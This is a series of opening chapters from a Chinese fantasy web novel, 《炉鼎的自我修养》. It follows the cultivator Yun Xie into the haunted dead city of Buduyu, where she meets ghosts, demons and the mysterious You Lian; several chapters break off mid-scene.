《炉鼎的自我修养》 1. 是谁(1) 《炉鼎的自我修养》全本免费阅读 不渡域方圆百里,有一条不成文的忌讳: 天黑不出门,窗前不明烛。 这忌讳听着真是够莫名其妙,张口就来,跟吓唬小孩夜哭有狼来抓一样。 有人就要问了—— “会发生什么?” 问话人坐在一张摇椅里。一袭黑袍曳地,袖口探出的几根指尖苍白纤长,抚在摇椅扶手上。 摇椅藤编格络处处发白起皮,摇起来吱嘎吱嘎地响,像哑声的乌鸦叫,随时要散架了似的。要不是突然来了客人,没地方招待,这把摇椅还要放在角落吃灰长岁数,拿来劈成柴烧也有可能。 可是,竟然来了客人。 正逢群峰山巅吞下小半日头,遍目荒漠戈壁昏茫茫,零星屋舍匍匐在山脊阴影下挣扎苟活。 其中一处院落,篱笆圈住几丈黄土地,黄土夯的墙壁,黄土垒的屋顶。屋顶上一根黄烟囱升起白炊烟,袅袅汇去云端。妇人把着碾磙子脱麦壳,碾下一堆黄皮碎屑,随着风起风落,扬尘遮目。 这里一切都在追着碾磙子推动石盘的轨迹打转,经年不变庸碌寻常。直到这一天,客人远道而来,敲响了篱笆门边吊起的木片。 与这里一切都极其格格不入的客人坐在老旧摇椅里,在吱嘎吱嘎的摇动声中,问推碾磙子的妇人:“会发生什么?” 妇人年岁不过三四十,风沙熬坏脸皮划出条条沟壑堆上额头眼角,显得过分苍老。她粗糙皲裂的手把紧石盘,低耸着脖子极快地看了客人一眼,说:“谁知道哩,没有人回来讲,也没有钱点蜡烛。” 这一眼饱含她莫大的勇气,浮皮潦草扫过,瞧都不敢瞧个清楚真切。 妇人又慌又怕。 从听见木片响出来开门的那一刻开始,随着客人进门、坐下、开口,心头骤窜进只吃肉老鼠,逮着细嫩一口一口撕咬。 慌,是客人身上太干净了。连在余光里随风晃不停的那一点黑衣角,都干净得不像话。明明就是跟破布抹污垢抹灶灰一样的黑色,长拖到地,那么远的风里沙里走过来,不仅没沾上一点沙土,还在太阳底下泛着光。 怕,倒不是客人长得多吓人。恰恰相反,就算妇人这辈子没走出过这片戈壁滩没见过几个人,她也敢拍胸口打包票,这世上定然没有比她家这位客人更好看的人…… 是人吗?还是—— 这就是妇人稍微一细想就浑身爬上鸡皮疙瘩的原因。 戈壁滩地处险隘又有旧历,村庄里或多或少发生过见到过,从来没听说过是在光天化日里出现的。日头还搁天上明晃晃挂着呢,胆子也忒大了,怎么就叫她碰上,得是多凶多恶的才会…… 像是看穿妇人心思,摇椅里那位往地上一指,说:“不用紧张,我有影子。” 妇人跟着往地上一看,吊去半空的心仍然晃悠悠没个着落:“有影子的除了人,还有……” 客人说话带了点笑:“刚看你磨麦子还以为你不怕。” 这点笑稍稍绑住猖狂吃肉的老鼠。 妇人歇口气,汗水滑下斑白潦草的鬓角,顾不上擦,被山脊碾磙子压弯的背直了直,仍然佝偻着。她说:“不是不怕。太阳要下山了,麦子总要搞好,明天还有其它活计等着。” “可你还是开门了。” “真要进来,门拦不住你,修门白瞎工夫。” 几句话说下来,妇人心头莫名松快许多,眼睛不知不觉跟着往上抬。从亮得像油罐里浸泡好几年才拎起来的黑袍子,一直往上看到客人的脸。 该怎么形容呢,穷尽妇人毕生知道的东西,也说不上来。这张脸的颜色,只在冬天见过。雪,冻死人饿死人的雪,地里长不了粮食,山上抓不到猎物,她的两个孩子都埋葬在冰天雪地里。 这样冷的雪做成了脸。无处不雕琢,十分美丽,十分,诡异。 客人不掩饰这份美丽,不掩饰这份诡异,黑发用根黑带子松松束着垂到椅脚下,发尾跟黑袍黄土掉在一块。 那双眼睛最冷,中阔头尾尖,一撇一捺着色勾勒深邃,千年寒冰深不见底。即便她在笑:“的确,我只是来问个路。” 抱着快说快答好送走的想法,妇人有问必答:“去哪里?” “就说说那些人天黑出门,去了哪里。” 这话一出,妇人脸色显而易见变僵硬,低头搓手好一会儿不吭声。 果然如此。 摇椅年久支棱起的硬刺扎手,云歇抬头,越过屋顶烟囱,极目远眺。所见,除了戈壁荒漠,还是戈壁荒漠。莫说方圆十里,就算是百里,该也是这样渺无人烟的常态。 若非不得已,云歇不想在人前露脸。 但,找个人问个路实在是太难了。 这已经是云歇敲门的第十三户人家。应门的大多人一与她对上眼睛,立马脸色大变,哐当甩上门。 第一回差点被人把门板拍脸上,云歇学聪明,后面便站远些。 一路敲下来,能回她两句话的少之又少。请她进门做客的,更是头一遭。 篱笆围的这处小院几丈见方,一间草棚搭灶台,一间屋子遮风挡雨。撑起草棚顶的柱子歪斜着,墙壁豁开好些裂缝填满麦秆,屋门吊帘打补得看不见原色。处处说着贫穷苦难,处处说着顽强不屈。主人家竟还很好说话,开了门请她进来,扫去摇椅灰尘请她坐下。 哪里能再找到这么好说话的主人家? 摇椅吱嘎不断,云歇边摇边盘算,一会儿是出门往哪处问,还是看看能不能瞎猫遇上死耗子,随便挑个方向走,走到哪儿算哪儿。 “往西边走。” 忽然听见这小小声的一句,云歇没反应过来:“嗯?” 妇人略抬声量:“去西边。” 云歇听清了,目光往下,看见妇人低着头不住搓衣角,点头道:“多谢。” 这一声多谢显然在妇人意料之外。她踟蹰着,不知怎么又多说一句:“天快黑了。” 日落月升,月走日出,再寻常不过。天黑放去普世的其它地头,是罢桨歇船,是披尘归家,是开坊闹市,左不过化为千千万夜里流火之一。云歇从前站在丹洗城殿顶上俯瞰人间,见过无数回宵色夜景。但放在这四百年多来的不渡域,天黑就是天黑,一点光不要有,一点声不能出。 主人家自顾不暇,一边想要赶紧送走来历不明的客人,免得惹祸上身。一边又被良善心拖着后腿出声提醒,自相矛盾。 云歇瞧得清楚:“没关系,天黑了正好。”说着,目光不经意一转,看去屋门吊的帘子。察觉到她的目光方向,从头到尾低头耸拉眼帘的妇人悚然一惊,霎时间白了脸。 屋外亮堂,屋里没有窗户没点灯。按理来说屋里瞧屋外瞧得清楚,屋外只能瞧见屋里一片黑。但云歇一眼看见挑开的门帘缝隙后,站着一个矮小的身影,站了很久。 是个小孩,五六岁模样,脸蜡黄,头毛也蜡黄。冲天歪着两条牛角辫,搭上身灰扑扑的衣裳,跟黄土泥捏出来似的。 小孩目光警戒带刺,躲在门帘缝隙里窥生客。 今天敲门的生客没有老人口中那么凶,但不意味着就改吃素,有 2. 是谁(2) 《炉鼎的自我修养》全本免费阅读 出现在眼前的,是一座城池。 护城河早已干涸,成了一道鸿沟。城门主墙极高,仰头望,黑漆城墙砖列严密,高耸指天。不难想象,多年前此处该是何其的巍峨雄伟,气势逼人。而现在,一层又一层沙土正不断地,自城墙各处剥落扬开。 一座死去多时的城池。 尸身在时间流逝中被风化、侵蚀,四方城墙倾颓殆尽,只剩一堵主墙。墙里罗立的高楼低瓦,就如内脏骨骼,在支离得不能称之为护卫墙的散石乱砖后,袒露破碎。 大雾散去,满城笼罩在余晖中。 云歇慢步走过吊桥。桥板干裂,发着惨叫声,仿佛随时要断开摔下鸿沟。吊桥铁索断了大半,几截挂在城墙上,长满红锈,挂尸颈的绳索般,荡不动。 踏进聊表装饰的城门。主街房屋夹道,大半坍塌,杂草丛生。无数黑黢黢门窗洞开,在云歇望去的同时,也在注视着这位外来客。 阴森诡邪四个大字写在整座城池头顶,配上弥漫满城的血色夕阳,很是适合上演一出魑魅魍魉大戏。 然而没有。 云歇从街头跨到街尾,又从街尾跨到街头,中间顺手翻了块盖井的石头。井里头水枯泥干,草都没长一根,荒废已久。 这种荒废占据东西八里南北九里的一座偌大城池,站主墙上一眼望去,残垣断壁挤满眼眶,死物风嚎之外,都是空荡荡。 没有,什么都没有。 这里就是不渡域……吗? 难道她继走错路之后又问错路了? 云歇原地思考,试图回忆起出发时手下人递来的情报。 哦,她没看。 那么,她那些忠心耿耿殷勤侍奉左右的手下呢? 嗯,走得太慢,被她抛在后面了。 那么问题来了,若这里就是不渡域,却没有任何她要找的东西,她走这么快又是为了什么? 怎会如此? 一点声音打断思绪,云歇眼角一瞥,一步跨出。身周景物急速后撤,风声倏止,她在一处房屋前站定。梁歪窗倒,眼前房子破得和其它地方没有任何区别,完美融进,没有惊喜。 抬头上看。 二楼翘出的檐角吊着几只铁马,正在风中胡乱撞。这玩意遇水生锈,一生锈,撞起来嘈哑难听,磨得耳根发毛。城中太静,嘈哑声传出很远,为本就阴森的地头添砖加瓦。 脚下,一个圆咕噜东西滚过。是几根弯曲断裂的扁竹条被绳扎一起,依稀认出个灯笼模样。烂得剩张空竹架子,风一吹咕噜噜滚动,滚得往前。街上巷里随处可见这些竹架子,或圆或扁,是见到的唯一会走的。 云歇目光追了一会儿,顺势看去长街尽头。天边仅余一丝光芒,苟延残喘着,与乌云博弈,改变不了逐渐消亡的既定。 天快黑了。 黑暗正跋山涉野,一点一点吞侵所见晴明,今夜,估摸着又是一趟无用功。 难道真是出门没看黄历?岂有此理。 云歇乱七八糟看来想去。冷不丁的,有什么在余光中突兀亮起来。 回头。 一只灯笼竹架定入眼帘。 与方才不同的是,它挂去了门头。那点亮光,就来自竹架中央立着的一根蜡烛。一团黄色火焰包着黑芯燃烧,恰似一只,在即将降临的长夜里,静静睁开的眼睛。 这只眼睛没有血肉,漏风窟窿里一点幽火,与云歇对视。 蜡烛?哪儿来的蜡烛? 几乎是这个疑问出现在云歇心头的同时,那只灯笼竹架一晃,云歇瞳孔猛然一缩——有东西正在生长。 依附竹架之上,疯狂抽出无数长丝。千丝万缕沿着无形的轨迹,编成蛛网,张成蝶翼,光影揳进云歇眼瞳,瞬息结茧将竹架与蜡烛一并吞进。 上下眼睫交错的短短一息,云歇眼中映出一只灯笼。 一只红纸灯笼。纸皮严丝合缝包裹着里头撑形的椭圆竹架子,一寸不多一寸不少,下镶一圈长黄穗。 它取代了漏风竹架,高挂在褪色掉渣的门头上俯视云歇,火光透出纸面。仿佛是有人家看着快天黑,上一刻刚抬出来新制的灯笼点亮照路,云歇甚至可以闻到蜡烛烟烘热新油纸的味道。 它完好崭新,与满城破败背景格格不入。 是人为?是妖鬼异象?还是什么其它邪门歪道? 没有结论,但云歇断定,方圆十里除了她,找不到第二个会喘气的。就算有,能在她眼皮子底下施展法术而没被她发现,如此道行高深的妖魔鬼怪必定还未出世。 所以—— 当啷当啷当啷。 叮铃叮铃叮铃。 一直不间断徘徊耳边的嘈哑声,在某个瞬间变得清脆动听。檐角吊的几只铁马,不知何时褪去满身锈斑,光亮如新。 云歇目光一变,立即转身。 身后长街,第二只灯笼亮起。第三只。第四只…… 一只又一只红纸灯笼高高挂,灯火前淌。所过之处,门头镀铜色,檐廊涂新漆。梁柱扶正,瓦瓴合拢。 更有人信手拈来山川河流、花草鸟雀镌刻楼阁飞檐。如此妙手描摹下,鼓裂丘地哐地矮下,塌陷坑洼腾地撑平。道路从崎岖到平直,比折断一根筷子都来得轻易迅疾。 云歇看不见画就丹青的是谁,却能看见被当作画轴白卷的这座死城,乾坤颠倒,天翻地覆。 鬼斧神工的造化正以第一只灯笼为起点,越过重重屋脊屏障,往东西南北跋涉。前一刻遍目无半点生机的倾颓荒芜,疯狂长出血肉覆盖腐朽。 枯木逢春,白骨生肉。 与此同时,天光消亡。 黑夜,到来了。 —— 回春之法,相传可以起死回生,其实不然。 让死人复生,是和阎罗抢鬼的活计。生死定数,自有法则,十分难抢。而让死物转瞬从新变旧或从旧还新,则是很多大妖小怪道门修士随手拿捏的术法。道行浅薄的,当障眼法用用。越是道行高深的,越能让变化的事物接近真实,越能以假乱真,无论是外观、触感、味道等等等等。 这类小小术法,如云歇自己,早用过成千上百回,也早嫌弃得丢到犄角旮旯里不想再用。但是今夜,术法炉火纯青见多识广如她,也被眼前发生的一幕惊得瞠目片刻。 无它,盖因这场剧变所涉范围之广、事物之巨,世所仅见。 夜幕降临,城池流灯撑起辉火,铁马叮铃撞不停。云歇盯着最开始的那只灯笼,盯了很久,然后摘下来,丢到地上。 灯笼纸里撑形的竹架子应声而断,蜡烛歪倒,火舌 3. 是谁(3) 《炉鼎的自我修养》全本免费阅读 进不进去,这是一个问题。 小楼门泼出台阶的光温暖明亮,尤其在一众影子桀桀狰狞的窗格子衬托下,对比鲜明,有眼睛的都知道该往哪儿走。 可在哪哪都充满诡异蹊跷的地头,陡的出现这么一间寻常楼舍和一个寻常人邀你做客,尤为不寻常。 喜暖喜光,是势弱者难以避免的下意识。一些以血肉魂魄为食的妖鬼,行走人间开辟洞府,惯会利用这一点。只肖在偏僻阴森处挖个暖和地,里面扔些食物珠宝诱饵,就能坐享数不清的闷头撞来投网的猎物。 一眼识破的小小把戏,云歇岂能上当。 她能。 一路过来都是在敲别人的门,头回有人主动开门请她做客,云歇自然、必须、非得要进去坐一坐。 进门关门,那声戏腔还在外头余音绕梁。戏腔主人,也就是画着旦妆的那位,拂开进门三尺处一道彩珠垂帘,朝云歇比手示意入内:“请。” 声音低沉清朗,肩背骨架宽指节略粗。虽然脸上描红涂黑看不出年岁,但从身形声音判断,应是个年轻男子。 起码在他死的时候,还年轻。 走路没有声音,便不全是戏步轻巧的缘故。能推门能摸实物,面貌体态与活人无异。除了灯火穿过他,直照到地上。 就着惨白手指拂开的彩珠帘,云歇往前望去。没有狰狞巢穴,也没有诡计陷阱,与金玉其外相匹配的其内展现在眼前。 雕廊画柱自不必说,一楼堂顶挑高,二楼走廊环绕,将最中央一座宝塔供为第一眼焦点。 宝塔高数丈,下宽上窄六角飞檐,形状和小楼外观如出一辙。只不过这座宝塔掏空内里,错落数层设无数格子,每一个格子都摆设一件宝物。灯火明珠与宝物两厢映照,整座宝塔熠熠生辉,光彩夺目。 穿进堂中,宝塔一层层转过眼前。云歇心叹:真漂亮,想买。 然后她立即想起,钱袋子在手下那儿。 男子领路到桌旁:“贵客稍等,我去请老板过来。” 堂中除开那座堆满无价之宝的宝塔外,算得上是空旷。云歇在唯一的长桌旁坐下,正好将宝塔居中纳入最好观赏点,背后临街一排雕窗,窗户紧闭。桌上煨着只小炉,炉膛里炭火通红,温暖扑面。 接完客人,男子转身踩着木梯上楼去了。 轻不可闻的吱呀吱呀声往上,过一层过两层,到第三层停住。砰的推门声,男子声音隔着几层地板传下来:“老板,你的三两碎银实在不够我夜以继日为你卖命,麻烦你以后看准时辰再让我去迎客。” 另一道声音响起,调子又柔又慢,是女人声音:“阿笙,你要理解一下,客人来的时候若没有下人先去铺铺排场,我这请客的主人家多没有面子。” 名唤阿笙的男子声音高起来:“行,面子给你了,我的工钱总要加加吧?” 女声仍是不紧不慢:“你吊在绳子上求我把你放下来的时候,可不是这么说的。” 云歇没有偷听别人家务事的嗜好,无奈耳力实在太好。 楼上争辩还在继续。 阿笙:“我说了什么?” 女声:“你说有片瓦遮头有口剩饭吃,你就给我当牛做马一辈子。” 阿笙:“那时候我刚死脑子不清楚,怎么能当真?” “你吊了几十年是刚死?”女人道,“再说,把你伸那老长的舌头收回肚子里去,费我多大功夫你不晓得?我掏心掏肺对你,这么多年,你却老提钱这样脏的东西,真是伤我的心。” 静一会儿,阿笙低声嘟囔几句,听不太清,总归不是些干净话。 楼上谈话到此为止,接着一道足音踩过云歇头顶的地板,吱呀声又起。 木梯涂色深檀,回形镂雕古朴,从楼顶贴墙盘旋几折架到大堂东南角。云歇闻声望去,正见女子沿梯走下的侧影,扶栏指尖丹蔻如血。 圆圆的后脑勺圆圆的发髻,油光水滑得像是用蜡抹平,紧贴头皮一丝不乱。喉口立领裹到脚踝的海棠色裙式,与身形贴合得无一点赘余。随着步子起落,那笔曼妙便在栏杆镂雕缝隙若隐若现,款款摇曳。 女人走到楼梯底,转过身来,云歇看清她正脸。杏眼桃腮,乌鬓红唇。每一处,都与发髻裙色相合,构成女人通身妩媚。 她拿柄小罗扇,眉眼弯弯:“见过贵客。我名唤眉是青,在此地经营小店,得了个诨号,眉老板。” 女人一笑,脸上五官神采飞扬,活色生香。让人不由得去注意她眉毛。细弯的新月眉,没有毛流感,似乎是剃掉原来的画上新的。画也画不对,不衬骨相。眼唇一勾,更显得两笔眉毛生硬。 云歇:“眉老板。” 一句称呼声调,便知客人是个冷性子,任炉子烧得热火朝天,烘不暖搁在旁边的黑袖雪指。 一樽白瓷像,十万凶煞气。八风不动,鬼魅自避。 这还是贵客有意收敛,仍把吊死鬼吓成胆小鬼,躲在楼上不敢下来。连窗外,彻夜难平的鬼哭,都比往日静得多。 不渡域何曾来过这等人物。 楼梯底到桌前一段路,灯火照得一截明一截暗,眉是青拧腰走近,笑意不变:“贵客久等。” “客随主便,该有的礼数。” “奇怪,别的来我这里都是大呼小叫,偏偏最有资格撒野的,却跟我讲起礼数。” 眉是青在长桌对座坐下,影子跟着灯火拉长倚上白墙。手一招,招来宝塔上一只金塑玉镶的茶壶,再一晃,壶里便响起水声。 她将茶壶搁去旺火炉上,问:“贵客第一回来不渡域吧?” 云歇答:“算是。” “算是?”眉是青说话尾音勾起调,“算这一字,当真奇妙。万般推演众生机缘,唯独难求诸己因果。” 听这人说话有点意思,来来回回都能捡起话头,云歇从善如流接道:“眉老板不如算一算,我来这里做什么?” “贵客盛情,我岂有不算的道理。”涂红指尖敲一敲桌面,眉是青眯眼做高深莫测状,“不渡域此等神憎鬼厌的地头,举凡冒险来此,要么找人,要么找东西。百个人里能有一个如愿都是运气好,大多刚走进来就要被撕成碎片,去当补药了。便是方才,窗里那些东西,都在琢磨着要不要出来咬你一口。” 云歇眼波动也未动:“哦?” 眉是青话锋一转,“不过这是一桩相当赔本的买卖,毕竟,在咬到你之前,怕是已经被你劈得粉身碎骨。我眉是青就识时务得多,见到贵客的第一眼,我便想和你交朋友。” “第一眼,是开门请我做客之前?” 一听就是明白人,眉是青不绕弯子:“第一眼,是你在城门口劈开云雾的那一下。那一下真是天大的威风,生生杀灭了这里无数饕餮觊觎心,不敢去招惹你。当然,眼瘸胆肥的另算。” 说到这里,她凑近些,手托腮,指尖点在红唇边,声音放得低慢:“不过,我却是许久没有见过这边的月光,还要多谢贵客一声才是。” 云歇蓦地抬眼,从烟丝缭绕中看来:“当时城里没有人。” “只是你看不到罢了。” 颇有深意,意犹未尽,点到为止。 人说就听,人不说,不勉强。 炭火红影中,这张芙蓉面愈发精美得无一丝瑕疵,秋波脉脉,蔻丹唇红,艳到扎眼。十分皮相,十二分风情,三分肖人。云歇看着她,问:“眉老板平日是做什么生意?” 问起本行,眉是青一扭腰脊坐直了,爽利道:“小本生意谋生。小至杀人放火挖坟驱鬼,大到鸡毛蒜皮柴米油盐,小店都做。鞍前马后,童叟无欺。” 这通话说出来,对座贵客便笑:“可以赊账吗?” “赊账?”长袖善舞的眉老板惊了。甚至想挖出自己眼睛洗一洗,怎么一眼瞧见的贵客,说话这么不贵。 她眼皮一搭,小罗扇舞起来:“本店概不赊账。一分钱一分货,来客当场结清。”话风又一转,“不过,若是朋友之间,让个三分利,又何妨呢?” 正是穷光蛋本人的云歇欣然应允:“好啊,我们就当朋友。” 眉是青果断把洗眼睛提上日程,长成钱眼的心钻出一丝怜悯:“你是……遇到了什么难事吗?” 云歇摇头:“身无分文,却不会让眉老板做太亏本的生意。只劳烦你同我说一说,这里是多少年前变成这样的。” “多少年来都是如此。”眉是青了然,“看来贵客许久没有经过门前。” 云歇不置可否:“从前这里叫船镇。” 眉是青诧异:“原来以前叫这个 4. 是谁(4) 《炉鼎的自我修养》全本免费阅读 云歇经过人间城池时,尚在暑气未消的夏伏,烈日爬山漫野。 同个季节,这里却见处处霜寒,甚至与周围山峦低谷温差太大,形成雾气,在云歇推门而出时,向她衣面侵袭。 雾气不浓,薄得像张糯米纸。 楼台亭阁,琉璃金玉,全被画进这张雾做的薄薄糯米纸里。透着远近高低一盏盏光,间或有一团又一团的浓墨渗出来。 浓墨穿纸落地,化出形态。有的精细些,披张皮相乔装个模样。有的不知是道行不够还是懒,拖成一坨泥巴状拖在地上移动。 泥巴还不是晒干的那种。拖着泥带着水,啪叽印路面一个,溅出泥点,啪叽又印一个,就这么一步一个印地从云歇面前路过,停住。云歇目光一垂,那一大坨泥巴立即一抖,一反刚才的闲庭散步,飞快遁走。 一路过来都是如此,走在路上的影子本就不多,越发退得周围空荡。拐进条巷,一股腥臭味冲上鼻端,云歇脚步一顿,目光从纸上挪到脚边。 一截惨白手臂,手指粗大指甲黑长,凝固成最后一刻要向上抓住什么的狰狞形状,如一截枯老树干。手臂断口一看就是被硬撕下来的,与其它分不清是哪些躯干部位的碎块,浸在一地黑水里,黏稠发臭。 不知是什么妖,被撕碎后当场形神俱灭。躯壳被吃了大部分,只剩些残肢碎肉,还新鲜得很,一群幻化得千奇百怪的小妖正趴在边上捡漏。 巷里腥臭狞笑混杂,忙着开盛宴,顾不上招待闯进的生客。最近的污血距离云歇的黑袍子只有一寸不到,还在往下流。 云歇当机立断退出来,重新看手上的纸。 眉是青画的指路图,极尽工笔,描绘详尽,说只要长双眼睛就一定能找到地方。 至于为什么不带路过去,眉是青表示作为主人家,亲自带路有失身份。而另一位吊死鬼,今晚不敢走夜路。 所以。 云歇看看纸看看路,左看右看,这条街和那条街,这间屋和那间屋,有一点区别吗? 要不要回去再问个路? 会不会有点伤面子? 就这么停了一停步的当口,风声忽近,一道黑影从云歇身旁刮过,擦上衣袖。 黑影速度极快,划出一连串残相,冲得雾气散开又聚拢,转眼间掠去十数丈外。 黑影骤停。 像是撞上一堵无形的墙,接着又被无形绳索套住头颈手脚。被迫滞停的黑影拼命挣扎,仍就这么被拉扯着四肢悬空起来,手脚胡乱蹬弹不出。 无形绳索拿在云歇手中。 云歇五指弯曲虚空一扯,扯着黑影往回急退半条街,砰一声重重摔在脚边。黑影吃痛蜷作一团,摔下的同时有什么从松开的手里咕噜噜滚出来。是一颗纸折模样的金元宝,滚到地上沾泥。 云歇目光从金元宝挪到黑影,没什么情绪地开口:“偷东西?” 找大半圈找不到地方,倒真叫她撞见个眼瘸胆肥的。 眼瘸胆肥的正双手使劲去抠脖子根,断喉索命的桎梏还勒着,勒得那一截骨头喉管咔咔作响。那桎梏摸得到,看不见,哪怕抠得青筋鼓起甲缝崩血,没能挣出一条呼吸的缝儿。 云歇冷眼看着。黑影在地上徒劳翻腾,破衣烂衫糊满泥垢,滚得更脏破。十几岁的少年人形身量,手脚俱全,瘦得见骨。唯二破绽,是头顶蓬垢打结的乱发里钻出的两只犬耳,和压在屁股底下僵直抖索的一条尾巴。 道行太浅,浅到连人形都没能化个完整,浅到不能探出面前被偷的苦主是人是鬼,以至于随便偷个东西就能撞到这么大的运气。 而这运气真是坏透了,可以送他直接去见阎罗的那种。 可云歇实在好奇,松了松手指,问:“怎么就逮着我偷了呢?” 桎梏一松,空气撕开黏着的喉管猛灌进去,呛得少年大咳特咳。他没咳过来气便下意识起身要跑,却有威压迎头砸下脊背,将他砸得跪地,爬不起来。 少年艰难仰头,乱糟糟发后一对眼睛瞪成凶狠形状,瞪着云歇。半点求饶的意思也没有。 “人形没修好,舌头也没长出来吗?”云歇俯视着他,“说话。” 声音轻,威压随之加重,一下将少年膝盖骨揳进地里。再下半寸,就能让他落个脊骨当场对折的死法。 千斤重压缓缓往下沉,昭告着主人为数不多的耐心。少年咬牙扛着嘶声道:“你跟人一样把东西放在袖子口袋里,好拿。” 云歇手一顿,跟着去摸自己袖口。 眉是青送的一盘金元宝自然全拿不了,云歇出门前捡了几个,随手塞进袖子里。此时一摸,确实还能摸着金元宝冷硬硌手的轮廓,沉甸甸坠着。 毋怪能招贼。 云歇不认为是她大意:“好拿就能偷能抢?” 少年龇牙:“这里的东西都能偷能抢,只要你能。” 话未落,嘴上突地一凉,锐物划开骨头的声音刮耳窜入脑壳。不痛,近到发毛。少年顿感不妙,头颈动不了,翻着眼珠子往下看。 一截尖尖的东西,从他嘴边掉下去,轻轻巧巧,砸到地上声都没出。 是半颗犬牙。 他的牙。 嚣张龇出利齿的少年傻了,滑稽地漏着风,缓缓、缓缓地包紧嘴牙。 必然的,怪自己睁眼瞎,惹到个这么凶的。少年来不及哀痛,预感到他的脑袋也要像这颗犬牙同个下场,索性眼一闭:“要杀就杀,磨叽什么。” 一静,极具威慑力的目光往他身上扫视。像一柄刀,从他肮脏青紫的脚腕刮到脖子根,狠狠剌掉一层皮般,剌得心肝胆齐颤。 只要不是剥皮抽筋挫骨扬灰,在这不渡域里,都算是好死。 少年指甲扣满血泥,边等死边想了百八十种死法,颈背禁锢忽然一轻——山巅倾覆一般的威压,散开却成了阵清风。 少年猛地失力跌趴在地。 “算了,你走。”云歇重新拿纸左看右看,懒得分他余光,“走远点。” 少年半天没回神,这就放过了? 赴死的时候毅然决然,能活了反而浑浑噩噩。少年一下没了刚才的嚣张气,蜷在地上捧起断掉的犬牙,垂头丧耳。 对于一只道行不够的小妖来说,在这龙潭虎穴的不渡域里存活尚且艰难,现在断掉一只利齿,意味着什么可想而知。但没死已经是捡回条命了,这位杀他跟碾死只蚂蚁似的。 想到这里,他抬头看这尊煞神,犹是不可置信。耳朵竖起又趴下,趴下又竖起,来来回回,不敢迈脚。 被看得烦,云歇作势抬手打算助人为乐:“另一只牙也不想要了?” “别……”少年尾巴一夹,拿好断牙,不敢再碰旁边的金元宝,蹒跚爬起就要赶紧跑。 “等等。” 这一声把小妖浑身毛都叫炸了。少年转头,从乱发下看人,不敢再龇牙,包紧嘴唇,两只耳朵压下紧贴头顶。 云歇示意:“垃圾捡走。” 少年跟着往地上一瞧,除了泥土灰尘,就只有那枚脏兮兮也不掩 5. 是谁(5) 《炉鼎的自我修养》全本免费阅读 来人提着灯笼停在三步外。 一身白衣,唯一的修饰是那些蓝色水纹,与袖口如出一辙,剪不断理还乱地勾挑流淌在袍裾与云肩上。 那片云肩华丽出奇,织绣嵌银,坠有流苏,太过繁复。而白衣太素,就容易显得头重脚轻。所幸穿的人盘靓条顺,不仅压住了,还显出衣裳十分的光彩。人穿衣这几个字,当真是在他身上应验得恰如其分。 “我姓游,单名一个莲字。” “哪个莲?” “莲花的莲。”年岁二十上下的青年含笑,唇角陷进一粒小梨涡,“我母亲奉佛,净水生莲,这个字男女皆宜,便为我取了做名。” 云歇没什么话说了,低目看他手上的灯笼。 灯笼没穿提杆,吊钩勒着两根手指勒出印子,是活血聚在皮下。再看他脚下的影子,披脊背的长发正被风轻轻吹动。 被疑作鬼的游莲毫无所觉,提起灯笼转给她看,说:“这座城中异象太多,我实在好奇,于是摘下这只灯笼看看究竟是什么原由。” 做过同样事的云歇有点好奇:“看出来了吗?” “没有。”隔着灯笼,游莲对她露出只笑弯的眼睛,“所以不想还回去。” 云歇看清一点雾气拂过他眉宇,冷漠眼廓关的一粒星。 话说早了,他的眼睛,才最像是佛陀低眉的额心朱砂。与慈悲大相径庭的秾丽,虽然是笑,却实在难以抵消,端坐高台俯瞰而下的冷漠。 就仿佛,笑容并非他本意,而是造佛工匠一下错刀的败笔。 云歇忍不住说:“你可以不笑的。” 游莲以为自己没听清:“什么?” “如果不想笑,你可以不笑。” 游莲愣一会儿:“是、是丑吗?还是——” “不至于,”云歇摇头,“只是看着有些勉强,你平时很少笑吧?” “不,不勉强。”一顿,游莲闭目,自嘲似的晃了晃脑袋,“确实有些不习惯。” “不习惯什么?” “不习惯这么黑的地方。”游莲唇角梨涡越深,“这地方魑魅魍魉鬼祟横生,好是吓人。” 云歇不说话,环胸睨他。 “怎么?” “看你好是自在。” 游莲摊手道:“装模做样罢了。若我当真惊慌失措,怕是早被撕吧撕吧撕成几块嚼进鬼肚子里去了。头和手脚还不定能进到同个肚子里,想想就可怕。” 黑夜荒城,天降异象,当真可怕。换个真胆小的能当场晕死过去,侥幸能醒,赶忙要寻个紧闭门窗的窄处藏进去,才是人之常情。而不是仍好整以暇站在天寒地冻的道路上,任四面风推着毫无防备的脊背。 云歇望去他身后幽深空荡的长街,问:“能看到异象,你是几时进来这里的?” “天黑透的时候进来的,赶巧见到这只灯笼眨眼变了个模样,还以为是我眼花。”游莲晃晃他不离手的灯笼给云歇看,一脸庆幸说,“幸好,遇到几只要把我撕成块嚼进肚子里的妖鬼,坐实这个地方不对劲。就说按我现在的年纪,还不至于到看花眼的地步。” 听听这话这语气,仿佛遇到鬼要吃他,都没有比年老眼花来得让他担惊受怕。 云歇反问:“你就不怕我把你撕成几块嚼进肚子里?” 青年脸上的闲适表情凝固一瞬,也只是一瞬,很快笑出声。照面这一会儿,他笑了好多回。轮廓眉眼拓出的骨相分外冷峻也英俊,笑起来却有少年意气,他说:“你不会。” 云歇:“你怎么知道我不会。” 游莲:“你要是会,早在一开始我跟你身后走的时候,就应该把我抓起来嚼了才对。哪里还能等到现在,让我说这么多话。” 云歇心道:你也知道你话多。 白雾飘来荡去,每条路都长成一个样。云歇看回图纸,随便挑了条路走。几步后,后面的人跟上来,足履很轻,闲庭散步般,问:“是要去哪里呢?” 云歇头也不抬:“和你不同路。” “初来乍到,我也不知要去哪儿,索性和你一起走便是,还有个伴。”他接得自然,“再说,你手上这张图纸画得不好。” 云歇兜兜转转,终于遇到了个知心人:“啊,我就说。” 知心人善解人意极了:“方才我看你走过那条巷子好几回,想来也是被这图纸诳了的缘故。” 云歇顿时对这个来历不明的人有点刮目相看:“可不是。” 青年低笑一声,温温柔柔地道:“不如我帮你瞧瞧吧。” 图纸转到另一双手里,立马就洗清了莫须有的冤屈,很快领人找到地方。 是一处宅子后门。两人高的灰墙夹门头,门头描铜漆挂灯笼,灯笼红纸透出的火光摇摇晃晃。 没等云歇问,游莲点点图纸,上面有处朱砂圈出的地方:“图上标的就是这里。” 伸到云歇眼前的手指修长白皙,曲展间美不胜收,劲力蛰伏其中。大拇指套着枚扳指。一枚白玉扳指,游几条水蓝纹,暗光下熠熠生辉,一眼便知价值连城。 是一枚芥子戒。 世有修仙途,走的人多了,大道开出旁支。善锻造的能人造出藏物法器,便取其意,名为芥子。大约人都有点子居安思危的远见,这类藏物法器极受追捧,供不应求。有袋、袖、匣、戒等等样式,越是小的容器,越是大的容量,越稀缺。 